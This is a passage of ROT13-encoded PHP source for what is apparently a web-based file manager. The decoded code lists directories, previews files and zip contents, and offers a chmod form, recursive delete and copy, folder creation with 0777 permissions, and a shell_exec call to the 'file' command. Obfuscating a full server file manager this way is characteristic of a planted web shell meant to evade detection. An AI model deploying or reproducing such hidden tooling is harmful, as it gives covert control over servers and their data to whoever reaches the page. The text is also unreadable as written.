$vf_nhqvb = snyfr;
$vf_ivqrb = snyfr;
$vf_grkg = snyfr;
$ivrj_gvgyr = 'Svyr';
$svyranzrf = snyfr; // sbe mvc
$pbagrag = ''; // sbe grkg
vs ($rkg == 'mvc') {
$vf_mvc = gehr;
$ivrj_gvgyr = 'Nepuvir';
$svyranzrf = sz_trg_mvs_vasb($svyr_cngu);
} ryfrvs (va_neenl($rkg, sz_trg_vzntr_rkgf())) {
$vf_vzntr = gehr;
$ivrj_gvgyr = 'Vzntr';
} ryfrvs (va_neenl($rkg, sz_trg_nhqvb_rkgf())) {
$vf_nhqvb = gehr;
$ivrj_gvgyr = 'Nhqvb';
} ryfrvs (va_neenl($rkg, sz_trg_ivqrb_rkgf())) {
$vf_ivqrb = gehr;
$ivrj_gvgyr = 'Ivqrb';
} ryfrvs (va_neenl($rkg, sz_trg_grkg_rkgf()) || fhofge($zvzr_glcr, 0,
4) == 'grkg' || va_neenl($zvzr_glcr, sz_trg_grkg_zvzrf())) {
$vf_grkg = gehr;
$pbagrag = svyr_trg_pbagragf($svyr_cngu);
}
?>
<qvi pynff="cngu">
<c pynff="oernx-jbeq"><o><?cuc rpub
$ivrj_gvgyr ?> "<?cuc rpub sz_rap(sz_pbaireg_jva($svyr))
?>"</o></c>
<c pynff="oernx-jbeq">
Shyy cngu: <?cuc rpub sz_rap(sz_pbaireg_jva($svyr_cngu))
?><oe>
Svyr fvmr: <?cuc rpub sz_trg_svyrfvmr($svyrfvmr)
?><?cuc vs ($svyrfvmr >= 1000): ?> (<?cuc rpub
fcevags('%f olgrf', $svyrfvmr) ?>)<?cuc raqvs;
?><oe>
ZVZR-glcr: <?cuc rpub $zvzr_glcr ?><oe>
<?cuc
// MVC vasb
vs ($vf_mvc && $svyranzrf !== snyfr) {
$gbgny_svyrf = 0;
$gbgny_pbzc = 0;
$gbgny_hapbzc = 0;
sbernpu ($svyranzrf nf $sa) {
vs (!$sa['sbyqre']) {
$gbgny_svyrf++;
}
$gbgny_pbzc += $sa['pbzcerffrq_fvmr'];
$gbgny_hapbzc += $sa['svyrfvmr'];
}
?>
Svyrf va nepuvir: <?cuc rpub $gbgny_svyrf
?><oe>
Gbgny fvmr: <?cuc rpub sz_trg_svyrfvmr($gbgny_hapbzc)
?><oe>
Fvmr va nepuvir: <?cuc rpub sz_trg_svyrfvmr($gbgny_pbzc)
?><oe>
Pbzcerffvba: <?cuc rpub ebhaq(($gbgny_pbzc /
$gbgny_hapbzc) * 100) ?>%<oe>
<?cuc
}
// Vzntr vasb
vs ($vf_vzntr) {
$vzntr_fvmr = trgvzntrfvmr($svyr_cngu);
rpub 'Vzntr fvmrf: ' . (vffrg($vzntr_fvmr[0]) ?
$vzntr_fvmr[0] : '0') . ' k ' . (vffrg($vzntr_fvmr[1])
? $vzntr_fvmr[1] : '0') . '<oe>';
}
// Grkg vasb
vs ($vf_grkg) {
$vf_hgs8 = sz_vf_hgs8($pbagrag);
vs (shapgvba_rkvfgf('vpbai')) {
vs (!$vf_hgs8) {
$pbagrag = vpbai(SZ_VPBAI_VACHG_RAP,
'HGS-8//VTABER', $pbagrag);
}
}
rpub 'Punefrg: ' . ($vf_hgs8 ? 'hgs-8'
: '8 ovg') . '<oe>';
}
?>
</c>
<c>
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>&nzc;qy=<?cuc rpub heyrapbqr($svyr) ?>"><v
pynff="vpba-qbjaybnq"></v> Qbjaybnq</n></o>
&aofc;
<o><n uers="<?cuc rpub sz_rap($svyr_hey)
?>" gnetrg="_oynax"><v
pynff="vpba-punva"></v> Bcra</n></o>
&aofc;
<?cuc
// MVC npgvbaf
vs ($vf_mvc && $svyranzrf !== snyfr) {
$mvc_anzr = cnguvasb($svyr_cngu, CNGUVASB_SVYRANZR);
?>
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;hamvc=<?cuc rpub heyrapbqr($svyr)
?>"><v pynff="vpba-nccyl"></v>
Hacnpx</n></o> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;hamvc=<?cuc rpub heyrapbqr($svyr)
?>&nzc;gbsbyqre=1" gvgyr="Hacnpx gb <?cuc rpub
sz_rap($mvc_anzr) ?>"><v
pynff="vpba-nccyl"></v>
Hacnpx gb sbyqre</n></o> &aofc;
<?cuc
}
?>
<o><n uers="?c=<?cuc rpub heyrapbqr(SZ_CNGU)
?>"><v pynff="vpba-tbonpx"></v>
Onpx</n></o>
</c>
<?cuc
vs ($vf_mvc) {
// MVC pbagrag
vs ($svyranzrf !== snyfr) {
rpub '<pbqr pynff="znkurvtug">';
sbernpu ($svyranzrf nf $sa) {
vs ($sa['sbyqre']) {
rpub '<o>' .
sz_rap($sa['anzr']) . '</o><oe>';
} ryfr {
rpub $sa['anzr'] . ' (' .
sz_trg_svyrfvmr($sa['svyrfvmr']) . ')<oe>';
}
}
rpub '</pbqr>';
} ryfr {
rpub '<c>Reebe juvyr srgpuvat nepuvir
vasb</c>';
}
} ryfrvs ($vf_vzntr) {
// Vzntr pbagrag
vs (va_neenl($rkg, neenl('tvs', 'wct',
'wcrt', 'cat', 'ozc', 'vpb'))) {
rpub '<c><vzt fep="' .
sz_rap($svyr_hey) . '" nyg=""
pynff="cerivrj-vzt"></c>';
}
} ryfrvs ($vf_nhqvb) {
// Nhqvb pbagrag
rpub '<c><nhqvb fep="' .
sz_rap($svyr_hey) . '" pbagebyf
cerybnq="zrgnqngn"></nhqvb></c>';
} ryfrvs ($vf_ivqrb) {
// Ivqrb pbagrag
rpub '<qvi pynff="cerivrj-ivqrb"><ivqrb
fep="' . sz_rap($svyr_hey) . '" jvqgu="640"
urvtug="360" pbagebyf
cerybnq="zrgnqngn"></ivqrb></qvi>';
} ryfrvs ($vf_grkg) {
vs (SZ_HFR_UVTUYVTUGWF) {
// uvtuyvtug
$uywf_pynffrf = neenl(
'fugzy' => 'kzy',
'ugnpprff' => 'ncnpur',
'cugzy' => 'cuc',
'ybpx' => 'wfba',
'fit' => 'kzy',
);
$uywf_pynff = vffrg($uywf_pynffrf[$rkg]) ?
'ynat-' . $uywf_pynffrf[$rkg] : 'ynat-' . $rkg;
vs (rzcgl($rkg) || va_neenl(fgegbybjre($svyr),
sz_trg_grkg_anzrf()) || cert_zngpu('#\.zva\.(pff|wf)$#v', $svyr))
{
$uywf_pynff = 'abuvtuyvtug';
}
$pbagrag = '<cer
pynff="jvgu-uywf"><pbqr pynff="' . $uywf_pynff .
'">' . sz_rap($pbagrag) .
'</pbqr></cer>';
} ryfrvs (va_neenl($rkg, neenl('cuc',
'cuc4', 'cuc5', 'cugzy', 'cucf')))
{
// cuc uvtuyvtug
$pbagrag = uvtuyvtug_fgevat($pbagrag, gehr);
} ryfr {
$pbagrag = '<cer>' . sz_rap($pbagrag) .
'</cer>';
}
rpub $pbagrag;
}
?>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
// puzbq (abg sbe Jvaqbjf)
vs (vffrg($_TRG['puzbq']) && !SZ_VF_JVA) {
$svyr = $_TRG['puzbq'];
$svyr = sz_pyrna_cngu($svyr);
$svyr = fge_ercynpr('/', '', $svyr);
vs ($svyr == '' || (!vf_svyr($cngu . '/' . $svyr)
&& !vf_qve($cngu . '/' . $svyr))) {
sz_frg_zft('Svyr abg sbhaq', 'reebe');
sz_erqverpg(SZ_FRYS_HEY . '?c=' . heyrapbqr(SZ_CNGU));
}
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
$svyr_hey = SZ_EBBG_HEY . (SZ_CNGU != '' ? '/' .
SZ_CNGU : '') . '/' . $svyr;
$svyr_cngu = $cngu . '/' . $svyr;
$zbqr = svyrcrezf($cngu . '/' . $svyr);
?>
<qvi pynff="cngu">
<c><o>Punatr Crezvffvbaf</o></c>
<c>
Shyy cngu: <?cuc rpub sz_rap($svyr_cngu) ?><oe>
</c>
<sbez npgvba="" zrgubq="cbfg">
<vachg glcr="uvqqra" anzr="c"
inyhr="<?cuc rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="puzbq"
inyhr="<?cuc rpub sz_rap($svyr) ?>">
<gnoyr pynff="pbzcnpg-gnoyr">
<ge>
<gq></gq>
<gq><o>Bjare</o></gq>
<gq><o>Tebhc</o></gq>
<gq><o>Bgure</o></gq>
</ge>
<ge>
<gq fglyr="grkg-nyvta:
evtug"><o>Ernq</o></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="he" inyhr="1"<?cuc
rpub ($zbqr & 00400) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="te" inyhr="1"<?cuc
rpub ($zbqr & 00040) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="be" inyhr="1"<?cuc
rpub ($zbqr & 00004) ? ' purpxrq' : ''
?>></ynory></gq>
</ge>
<ge>
<gq fglyr="grkg-nyvta:
evtug"><o>Jevgr</o></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="hj" inyhr="1"<?cuc
rpub ($zbqr & 00200) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="tj" inyhr="1"<?cuc
rpub ($zbqr & 00020) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="bj" inyhr="1"<?cuc
rpub ($zbqr & 00002) ? ' purpxrq' : ''
?>></ynory></gq>
</ge>
<ge>
<gq fglyr="grkg-nyvta:
evtug"><o>Rkrphgr</o></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="hk" inyhr="1"<?cuc
rpub ($zbqr & 00100) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="tk" inyhr="1"<?cuc
rpub ($zbqr & 00010) ? ' purpxrq' : ''
?>></ynory></gq>
<gq><ynory><vachg
glcr="purpxobk" anzr="bk" inyhr="1"<?cuc
rpub ($zbqr & 00001) ? ' purpxrq' : ''
?>></ynory></gq>
</ge>
</gnoyr>
<c>
<ohggba pynff="oga"><v
pynff="vpba-nccyl"></v> Punatr</ohggba> &aofc;
<o><n uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>"><v
pynff="vpba-pnapry"></v> Pnapry</n></o>
</c>
</sbez>
</qvi>
<?cuc
sz_fubj_sbbgre();
rkvg;
}
//--- SVYRZNANTRE ZNVA
sz_fubj_urnqre(); // URNQRE
sz_fubj_ani_cngu(SZ_CNGU); // pheerag cngu
// zrffntrf
sz_fubj_zrffntr();
$ahz_svyrf = pbhag($svyrf);
$ahz_sbyqref = pbhag($sbyqref);
$nyy_svyrf_fvmr = 0;
?>
<sbez npgvba="" zrgubq="cbfg">
<vachg glcr="uvqqra" anzr="c" inyhr="<?cuc
rpub sz_rap(SZ_CNGU) ?>">
<vachg glcr="uvqqra" anzr="tebhc"
inyhr="1">
<gnoyr><ge>
<gu fglyr="jvqgu:3%"><ynory><vachg
glcr="purpxobk" gvgyr="Vaireg fryrpgvba"
bapyvpx="purpxobk_gbttyr()"></ynory></gu>
<gu>Anzr</gu><gu
fglyr="jvqgu:10%">Fvmr</gu>
<gu fglyr="jvqgu:12%">Zbqvsvrq</gu>
<?cuc vs (!SZ_VF_JVA): ?><gu
fglyr="jvqgu:6%">Crezf</gu><gu
fglyr="jvqgu:10%">Bjare</gu><?cuc raqvs; ?>
<gu fglyr="jvqgu:13%"></gu></ge>
<?cuc
// yvax gb cnerag sbyqre
vs ($cnerag !== snyfr) {
?>
<ge><gq></gq><gq pbyfcna="<?cuc rpub
!SZ_VF_JVA ? '6' : '4' ?>"><n
uers="?c=<?cuc rpub heyrapbqr($cnerag) ?>"><v
pynff="vpba-neebj_hc"></v>
..</n></gq></ge>
<?cuc
}
sbernpu ($sbyqref nf $s) {
$vf_yvax = vf_yvax($cngu . '/' . $s);
$vzt = $vf_yvax ? 'vpba-yvax_sbyqre' :
'vpba-sbyqre';
$zbqvs = qngr(SZ_QNGRGVZR_SBEZNG, svyrzgvzr($cngu . '/' .
$s));
$crezf = fhofge(qrpbpg(svyrcrezf($cngu . '/' . $s)), -4);
vs (shapgvba_rkvfgf('cbfvk_trgcjhvq') &&
shapgvba_rkvfgf('cbfvk_trgtetvq')) {
$bjare = cbfvk_trgcjhvq(svyrbjare($cngu . '/' . $s));
$tebhc = cbfvk_trgtetvq(svyrtebhc($cngu . '/' . $s));
} ryfr {
$bjare = neenl('anzr' => '?');
$tebhc = neenl('anzr' => '?');
}
?>
<ge>
<gq><ynory><vachg glcr="purpxobk"
anzr="svyr[]" inyhr="<?cuc rpub sz_rap($s)
?>"></ynory></gq>
<gq><qvi pynff="svyranzr"><n
uers="?c=<?cuc rpub heyrapbqr(gevz(SZ_CNGU . '/' . $s,
'/')) ?>"><v pynff="<?cuc rpub $vzt
?>"></v> <?cuc rpub sz_rap(sz_pbaireg_jva($s))
?></n><?cuc rpub ($vf_yvax ? ' &enee; <v>'
. sz_rap(ernqyvax($cngu . '/' . $s)) . '</v>' :
'') ?></qvi></gq>
<gq>Sbyqre</gq><gq><?cuc rpub $zbqvs ?></gq>
<?cuc vs (!SZ_VF_JVA): ?>
<gq><n gvgyr="Punatr Crezvffvbaf" uers="?c=<?cuc
rpub heyrapbqr(SZ_CNGU) ?>&nzc;puzbq=<?cuc rpub heyrapbqr($s)
?>"><?cuc rpub $crezf ?></n></gq>
<gq><?cuc rpub sz_rap($bjare['anzr'] . ':' .
$tebhc['anzr']) ?></gq>
<?cuc raqvs; ?>
<gq>
<n gvgyr="Qryrgr" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;qry=<?cuc rpub heyrapbqr($s)
?>" bapyvpx="erghea pbasvez('Qryrgr
sbyqre?');"><v
pynff="vpba-pebff"></v></n>
<n gvgyr="Eranzr" uers="#"
bapyvpx="eranzr('<?cuc rpub sz_rap(SZ_CNGU) ?>',
'<?cuc rpub sz_rap($s) ?>');erghea snyfr;"><v
pynff="vpba-eranzr"></v></n>
<n gvgyr="Pbcl gb..." uers="?c=&nzc;pbcl=<?cuc
rpub heyrapbqr(gevz(SZ_CNGU . '/' . $s, '/'))
?>"><v pynff="vpba-pbcl"></v></n>
<n gvgyr="Qverpg yvax" uers="<?cuc rpub
sz_rap(SZ_EBBG_HEY . (SZ_CNGU != '' ? '/' . SZ_CNGU :
'') . '/' . $s . '/') ?>"
gnetrg="_oynax"><v
pynff="vpba-punva"></v></n>
</gq></ge>
<?cuc
syhfu();
}
sbernpu ($svyrf nf $s) {
$vf_yvax = vf_yvax($cngu . '/' . $s);
$vzt = $vf_yvax ? 'vpba-yvax_svyr' :
sz_trg_svyr_vpba_pynff($cngu . '/' . $s);
$zbqvs = qngr(SZ_QNGRGVZR_SBEZNG, svyrzgvzr($cngu . '/' .
$s));
$svyrfvmr_enj = svyrfvmr($cngu . '/' . $s);
$svyrfvmr = sz_trg_svyrfvmr($svyrfvmr_enj);
$svyryvax = '?c=' . heyrapbqr(SZ_CNGU) .
'&ivrj=' . heyrapbqr($s);
$nyy_svyrf_fvmr += $svyrfvmr_enj;
$crezf = fhofge(qrpbpg(svyrcrezf($cngu . '/' . $s)), -4);
vs (shapgvba_rkvfgf('cbfvk_trgcjhvq') &&
shapgvba_rkvfgf('cbfvk_trgtetvq')) {
$bjare = cbfvk_trgcjhvq(svyrbjare($cngu . '/' . $s));
$tebhc = cbfvk_trgtetvq(svyrtebhc($cngu . '/' . $s));
} ryfr {
$bjare = neenl('anzr' => '?');
$tebhc = neenl('anzr' => '?');
}
?>
<ge>
<gq><ynory><vachg glcr="purpxobk"
anzr="svyr[]" inyhr="<?cuc rpub sz_rap($s)
?>"></ynory></gq>
<gq><qvi pynff="svyranzr"><n uers="<?cuc
rpub sz_rap($svyryvax) ?>" gvgyr="Svyr vasb"><v
pynff="<?cuc rpub $vzt ?>"></v> <?cuc rpub
sz_rap(sz_pbaireg_jva($s)) ?></n><?cuc rpub ($vf_yvax ? '
&enee; <v>' . sz_rap(ernqyvax($cngu . '/' . $s)) .
'</v>' : '') ?></qvi></gq>
<gq><fcna pynff="tenl" gvgyr="<?cuc
cevags('%f olgrf', $svyrfvmr_enj) ?>"><?cuc rpub
$svyrfvmr ?></fcna></gq>
<gq><?cuc rpub $zbqvs ?></gq>
<?cuc vs (!SZ_VF_JVA): ?>
<gq><n gvgyr="Punatr Crezvffvbaf" uers="?c=<?cuc
rpub heyrapbqr(SZ_CNGU) ?>&nzc;puzbq=<?cuc rpub heyrapbqr($s)
?>"><?cuc rpub $crezf ?></n></gq>
<gq><?cuc rpub sz_rap($bjare['anzr'] . ':' .
$tebhc['anzr']) ?></gq>
<?cuc raqvs; ?>
<gq>
<n gvgyr="Qryrgr" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;qry=<?cuc rpub heyrapbqr($s)
?>" bapyvpx="erghea pbasvez('Qryrgr
svyr?');"><v
pynff="vpba-pebff"></v></n>
<n gvgyr="Eranzr" uers="#"
bapyvpx="eranzr('<?cuc rpub sz_rap(SZ_CNGU) ?>',
'<?cuc rpub sz_rap($s) ?>');erghea snyfr;"><v
pynff="vpba-eranzr"></v></n>
<n gvgyr="Pbcl gb..." uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;pbcl=<?cuc rpub heyrapbqr(gevz(SZ_CNGU
. '/' . $s, '/')) ?>"><v
pynff="vpba-pbcl"></v></n>
<n gvgyr="Qverpg yvax" uers="<?cuc rpub
sz_rap(SZ_EBBG_HEY . (SZ_CNGU != '' ? '/' . SZ_CNGU :
'') . '/' . $s) ?>"
gnetrg="_oynax"><v
pynff="vpba-punva"></v></n>
<n gvgyr="Qbjaybnq" uers="?c=<?cuc rpub
heyrapbqr(SZ_CNGU) ?>&nzc;qy=<?cuc rpub heyrapbqr($s)
?>"><v
pynff="vpba-qbjaybnq"></v></n>
</gq></ge>
<?cuc
syhfu();
}
vs (rzcgl($sbyqref) && rzcgl($svyrf)) {
?>
<ge><gq></gq><gq pbyfcna="<?cuc rpub
!SZ_VF_JVA ? '6' : '4' ?>"><rz>Sbyqre
vf rzcgl</rz></gq></ge>
<?cuc
} ryfr {
?>
<ge><gq pynff="tenl"></gq><gq
pynff="tenl" pbyfcna="<?cuc rpub !SZ_VF_JVA ?
'6' : '4' ?>">
Shyy fvmr: <fcna gvgyr="<?cuc cevags('%f olgrf',
$nyy_svyrf_fvmr) ?>"><?cuc rpub
sz_trg_svyrfvmr($nyy_svyrf_fvmr) ?></fcna>,
svyrf: <?cuc rpub $ahz_svyrf ?>,
sbyqref: <?cuc rpub $ahz_sbyqref ?>
</gq></ge>
<?cuc
}
?>
</gnoyr>
<c pynff="cngu"><n uers="#"
bapyvpx="fryrpg_nyy();erghea snyfr;"><v
pynff="vpba-purpxobk"></v> Fryrpg nyy</n>
&aofc;
<n uers="#" bapyvpx="hafryrpg_nyy();erghea
snyfr;"><v pynff="vpba-purpxobk_hapurpx"></v>
Hafryrpg nyy</n> &aofc;
<n uers="#" bapyvpx="vaireg_nyy();erghea
snyfr;"><v pynff="vpba-purpxobk_vaireg"></v>
Vaireg fryrpgvba</n></c>
<c><vachg glcr="fhozvg" anzr="qryrgr"
inyhr="Qryrgr" bapyvpx="erghea pbasvez('Qryrgr fryrpgrq
svyrf naq sbyqref?')">
<vachg glcr="fhozvg" anzr="mvc"
inyhr="Cnpx" bapyvpx="erghea pbasvez('Perngr
nepuvir?')">
<vachg glcr="fhozvg" anzr="pbcl"
inyhr="Pbcl"></c>
</sbez>
<?cuc
sz_fubj_sbbgre();
//--- RAQ
// Shapgvbaf
/**
* Qryrgr svyr be sbyqre (erphefviryl)
* @cnenz fgevat $cngu
* @erghea obby
*/
shapgvba sz_eqryrgr($cngu)
{
vs (vf_yvax($cngu)) {
erghea hayvax($cngu);
} ryfrvs (vf_qve($cngu)) {
$bowrpgf = fpnaqve($cngu);
$bx = gehr;
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (!sz_eqryrgr($cngu . '/' . $svyr)) {
$bx = snyfr;
}
}
}
}
erghea ($bx) ? ezqve($cngu) : snyfr;
} ryfrvs (vf_svyr($cngu)) {
erghea hayvax($cngu);
}
erghea snyfr;
}
/**
* Erphefvir puzbq
* @cnenz fgevat $cngu
* @cnenz vag $svyrzbqr
* @cnenz vag $qvezbqr
* @erghea obby
* @gbqb Jvyy hfr va znff puzbq
*/
shapgvba sz_epuzbq($cngu, $svyrzbqr, $qvezbqr)
{
vs (vf_qve($cngu)) {
vs (!puzbq($cngu, $qvezbqr)) {
erghea snyfr;
}
$bowrpgf = fpnaqve($cngu);
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (!sz_epuzbq($cngu . '/' . $svyr,
$svyrzbqr, $qvezbqr)) {
erghea snyfr;
}
}
}
}
erghea gehr;
} ryfrvs (vf_yvax($cngu)) {
erghea gehr;
} ryfrvs (vf_svyr($cngu)) {
erghea puzbq($cngu, $svyrzbqr);
}
erghea snyfr;
}
/**
* Fnsryl eranzr
* @cnenz fgevat $byq
* @cnenz fgevat $arj
* @erghea obby|ahyy
*/
shapgvba sz_eranzr($byq, $arj)
{
erghea (!svyr_rkvfgf($arj) && svyr_rkvfgf($byq)) ? eranzr($byq,
$arj) : ahyy;
}
/**
* Pbcl svyr be sbyqre (erphefviryl).
* @cnenz fgevat $cngu
* @cnenz fgevat $qrfg
* @cnenz obby $hcq Hcqngr svyrf
* @cnenz obby $sbepr Perngr sbyqre jvgu fnzr anzrf vafgrnq svyr
* @erghea obby
*/
shapgvba sz_epbcl($cngu, $qrfg, $hcq = gehr, $sbepr = gehr)
{
vs (vf_qve($cngu)) {
vs (!sz_zxqve($qrfg, $sbepr)) {
erghea snyfr;
}
$bowrpgf = fpnaqve($cngu);
$bx = gehr;
vs (vf_neenl($bowrpgf)) {
sbernpu ($bowrpgf nf $svyr) {
vs ($svyr != '.' && $svyr !=
'..') {
vs (!sz_epbcl($cngu . '/' . $svyr, $qrfg .
'/' . $svyr)) {
$bx = snyfr;
}
}
}
}
erghea $bx;
} ryfrvs (vf_svyr($cngu)) {
erghea sz_pbcl($cngu, $qrfg, $hcq);
}
erghea snyfr;
}
/**
* Fnsryl perngr sbyqre
* @cnenz fgevat $qve
* @cnenz obby $sbepr
* @erghea obby
*/
shapgvba sz_zxqve($qve, $sbepr)
{
vs (svyr_rkvfgf($qve)) {
vs (vf_qve($qve)) {
erghea $qve;
} ryfrvs (!$sbepr) {
erghea snyfr;
}
hayvax($qve);
}
erghea zxqve($qve, 0777, gehr);
}
/**
* Fnsryl pbcl svyr
* @cnenz fgevat $s1
* @cnenz fgevat $s2
* @cnenz obby $hcq
* @erghea obby
*/
shapgvba sz_pbcl($s1, $s2, $hcq)
{
$gvzr1 = svyrzgvzr($s1);
vs (svyr_rkvfgf($s2)) {
$gvzr2 = svyrzgvzr($s2);
vs ($gvzr2 >= $gvzr1 && $hcq) {
erghea snyfr;
}
}
$bx = pbcl($s1, $s2);
vs ($bx) {
gbhpu($s2, $gvzr1);
}
erghea $bx;
}
/**
* Trg zvzr glcr
* @cnenz fgevat $svyr_cngu
* @erghea zvkrq|fgevat
*/
shapgvba sz_trg_zvzr_glcr($svyr_cngu)
{
vs (shapgvba_rkvfgf('svasb_bcra')) {
$svasb = svasb_bcra(SVYRVASB_ZVZR_GLCR);
$zvzr = svasb_svyr($svasb, $svyr_cngu);
svasb_pybfr($svasb);
erghea $zvzr;
} ryfrvs (shapgvba_rkvfgf('zvzr_pbagrag_glcr')) {
erghea zvzr_pbagrag_glcr($svyr_cngu);
} ryfrvs (!fgevfge(vav_trg('qvfnoyr_shapgvbaf'),
'furyy_rkrp')) {
$svyr = rfpncrfuryynet($svyr_cngu);
$zvzr = furyy_rkrp('svyr -ov ' . $svyr);
erghea $zvzr;
} ryfr {
erghea '--';
}
}
/**
* UGGC Erqverpg
* @cnenz fgevat $hey
* @cnenz vag $pbqr
*/
shapgvba sz_erqverpg($hey, $pbqr = 302)
{
urnqre('Ybpngvba: ' . $hey, gehr, $pbqr);
rkvg;
}
/**
* Pyrna cngu
* @cnenz fgevat $cngu
* @erghea fgevat
*/
shapgvba sz_pyrna_cngu($cngu)
{
$cngu = gevz($cngu);
$cngu = gevz($cngu, '\\/');
$cngu = fge_ercynpr(neenl('../', '..\\'),
'', $cngu);
vs ($cngu == '..') {
$cngu = '';
}
erghea fge_ercynpr('\\', '/', $cngu);
}
/**
* Trg cnerag cngu
* @cnenz fgevat $cngu
* @erghea obby|fgevat
*/
shapgvba sz_trg_cnerag_cngu($cngu)
{
$cngu = sz_pyrna_cngu($cngu);
vs ($cngu != '') {
$neenl = rkcybqr('/', $cngu);
vs (pbhag($neenl) > 1) {
$neenl = neenl_fyvpr($neenl, 0, -1);
erghea vzcybqr('/', $neenl);
}
erghea '';
}
erghea snyfr;
}
/**
* Trg avpr svyrfvmr
* @cnenz vag $fvmr
* @erghea fgevat
*/
shapgvba sz_trg_svyrfvmr($fvmr)
{
vs ($fvmr < 1000) {
erghea fcevags('%f O', $fvmr);
} ryfrvs (($fvmr / 1024) < 1000) {
erghea fcevags('%f XvO', ebhaq(($fvmr / 1024), 2));
} ryfrvs (($fvmr / 1024 / 1024) < 1000) {
erghea fcevags('%f ZvO', ebhaq(($fvmr / 1024 / 1024),
2));
} ryfrvs (($fvmr / 1024 / 1024 / 1024) < 1000) {
erghea fcevags('%f TvO', ebhaq(($fvmr / 1024 / 1024 /
1024), 2));
} ryfr {
erghea fcevags('%f GvO', ebhaq(($fvmr / 1024 / 1024 /
1024 / 1024), 2));
}
}
/**
* Trg vasb nobhg mvc nepuvir
* @cnenz fgevat $cngu
* @erghea neenl|obby
*/
shapgvba sz_trg_mvs_vasb($cngu)
{
vs (shapgvba_rkvfgf('mvc_bcra')) {
$nepu = mvc_bcra($cngu);
vs ($nepu) {
$svyranzrf = neenl();
juvyr ($mvc_ragel = mvc_ernq($nepu)) {
$mvc_anzr = mvc_ragel_anzr($mvc_ragel);
$mvc_sbyqre = fhofge($mvc_anzr, -1) == '/';
$svyranzrf[] = neenl(
'anzr' => $mvc_anzr,
'svyrfvmr' =>
mvc_ragel_svyrfvmr($mvc_ragel),
'pbzcerffrq_fvmr' =>
mvc_ragel_pbzcerffrqfvmr($mvc_ragel),
'sbyqre' => $mvc_sbyqre
//'pbzcerffvba_zrgubq' =>
mvc_ragel_pbzcerffvbazrgubq($mvc_ragel),
);
}
mvc_pybfr($nepu);
erghea $svyranzrf;
}
}
erghea snyfr;
}
/**
* Rapbqr ugzy ragvgvrf
* @cnenz fgevat $grkg
* @erghea fgevat
*/
shapgvba sz_rap($grkg)
{
erghea ugzyfcrpvnypunef($grkg, RAG_DHBGRF, 'HGS-8');
}
/**
* Fnir zrffntr va frffvba
* @cnenz fgevat $zft
* @cnenz fgevat $fgnghf
*/
shapgvba sz_frg_zft($zft, $fgnghf = 'bx')
{
$_FRFFVBA['zrffntr'] = $zft;
$_FRFFVBA['fgnghf'] = $fgnghf;
}
/**
* Purpx vs fgevat vf va HGS-8
* @cnenz fgevat $fgevat
* @erghea vag
*/
shapgvba sz_vf_hgs8($fgevat)
{
erghea cert_zngpu('//h', $fgevat);
}
/**
* Pbaireg svyr anzr gb HGS-8 va Jvaqbjf
* @cnenz fgevat $svyranzr
* @erghea fgevat
*/
shapgvba sz_pbaireg_jva($svyranzr)
{
vs (SZ_VF_JVA && shapgvba_rkvfgf('vpbai')) {
$svyranzr = vpbai(SZ_VPBAI_VACHG_RAP, 'HGS-8//VTABER',
$svyranzr);
}
erghea $svyranzr;
}
/**
* Trg PFF pynffanzr sbe svyr
* @cnenz fgevat $cngu
* @erghea fgevat
*/
shapgvba sz_trg_svyr_vpba_pynff($cngu)
{
// trg rkgrafvba
$rkg = fgegbybjre(cnguvasb($cngu, CNGUVASB_RKGRAFVBA));
fjvgpu ($rkg) {
pnfr 'vpb': pnfr 'tvs': pnfr 'wct':
pnfr 'wcrt': pnfr 'wcp': pnfr 'wc2':
pnfr 'wck': pnfr 'koz': pnfr 'jozc':
pnfr 'cat': pnfr 'ozc': pnfr 'gvs':
pnfr 'gvss':
$vzt = 'vpba-svyr_vzntr';
oernx;
pnfr 'gkg': pnfr 'pff': pnfr 'vav':
pnfr 'pbas': pnfr 'ybt': pnfr 'ugnpprff':
pnfr 'cnffjq': pnfr 'sgcdhbgn': pnfr
'fdy': pnfr 'wf': pnfr 'wfba': pnfr
'fu':
pnfr 'pbasvt': pnfr 'gjvt': pnfr
'gcy': pnfr 'zq': pnfr 'tvgvtaber':
pnfr 'yrff': pnfr 'fnff': pnfr
'fpff': pnfr 'p': pnfr 'pcc': pnfr
'pf': pnfr 'cl':
pnfr 'znc': pnfr 'ybpx': pnfr 'qgq':
$vzt = 'vpba-svyr_grkg';
oernx;
pnfr 'mvc': pnfr 'ene': pnfr 'tm':
pnfr 'gne': pnfr '7m':
$vzt = 'vpba-svyr_mvc';
oernx;
pnfr 'cuc': pnfr 'cuc4': pnfr 'cuc5':
pnfr 'cucf': pnfr 'cugzy':
$vzt = 'vpba-svyr_cuc';
oernx;
pnfr 'ugz': pnfr 'ugzy': pnfr
'fugzy': pnfr 'kugzy':
$vzt = 'vpba-svyr_ugzy';
oernx;
pnfr 'kzy': pnfr 'kfy': pnfr 'fit':
$vzt = 'vpba-svyr_pbqr';
oernx;
pnfr 'jni': pnfr 'zc3': pnfr 'zc2':
